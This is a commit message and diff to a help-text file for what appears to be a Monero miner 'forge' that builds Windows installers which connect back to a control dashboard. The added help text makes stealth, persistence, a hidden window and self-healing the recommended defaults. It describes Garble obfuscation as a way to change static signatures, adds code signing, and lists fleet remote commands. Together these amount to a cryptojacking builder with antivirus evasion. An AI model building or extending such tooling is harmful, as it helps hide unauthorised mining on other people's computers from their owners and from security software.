Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/web/src/help/settingHelp.ts

@@ -1,24 +1,46 @@
 export const SETUP_CHEATSHEET = [
   {
-    title: '1. Calibrate the server',
-    body: 'Open Calibrate once: set your LAN Public URL, upstream pool, and payout wallet. This configures the control server on this PC only.',
+    title: '1. Calibrate once',
+    body: 'Set your Monero wallet and LAN URL on the Calibrate tab, then Save. Click “Use best defaults” if you are not sure — we fill in the detected LAN address and sensible pool settings.',
   },
   {
-    title: '2. Forge your installer',
-    body: 'All miner options live here — threads, install path, stealth, persistence, Fusion, AI. Incompatible mixes are blocked; grayed fields do not apply to your current picks. Green badges = baked into the .exe.',
+    title: '2. Forge (Simple mode)',
+    body: 'On Forge, Simple mode keeps only what you need: worker name, server URL, wallet. Everything else uses recommended defaults (idle mining, stealth, persistence). Pick a LAN chip, then FORGE INSTALLER.',
   },
   {
     title: '3. Deploy',
-    body: 'Copy the built .exe to a worker machine (or USB). Run once — it embeds and connects back to your LAN dashboard.',
+    body: 'Copy the .exe from the project root to each worker PC and run it once. It installs, connects back, and appears on Command Deck.',
   },
   {
-    title: '4. Command Deck',
-    body: 'Watch live hashrate, CPU, and shares from every machine on your network.',
+    title: '4. Watch the fleet',
+    body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them.',
   },
 ];
 
 export const FIELD_HELP: Record<string, string> = {
-  worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
+  calibrate_wallet:
+    'Your Monero payout address. Forge copies this into new installers automatically. Must start with 4 and be ~95 characters.',
+  calibrate_quick_setup:
+    'One click fills the detected LAN URL, keeps firewall open for agents, and leaves advanced forge options at safe defaults.',
+  forge_simple_mode:
+    'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
+  forge_recommended_defaults:
+    'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.',
+  obfuscate:
+    'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).',
+  sign_build:
+    'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.',
+  obfuscate_default:
+    'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.',
+  sign_enabled:
+    'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.',
+  sign_cert_thumbprint:
+    'SHA-1 thumbprint from certmgr.msc → your certificate → Details. The private key must be on this control PC.',
+  sign_tool_path:
+    'Optional full path to signtool.exe. Leave blank to auto-detect from the Windows SDK.',
+  sign_timestamp_url:
+    'RFC 3161 timestamp server used during signing so signatures stay valid after the cert expires.',
+  worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3. We auto-suggest worker-1, worker-2, …',
   server_url:
     'Control server URL baked into the installer — LAN IP (http://192.168.x.x:8989) or public https:// hostname (Cloudflare tunnel). Not localhost.',
   output_dir: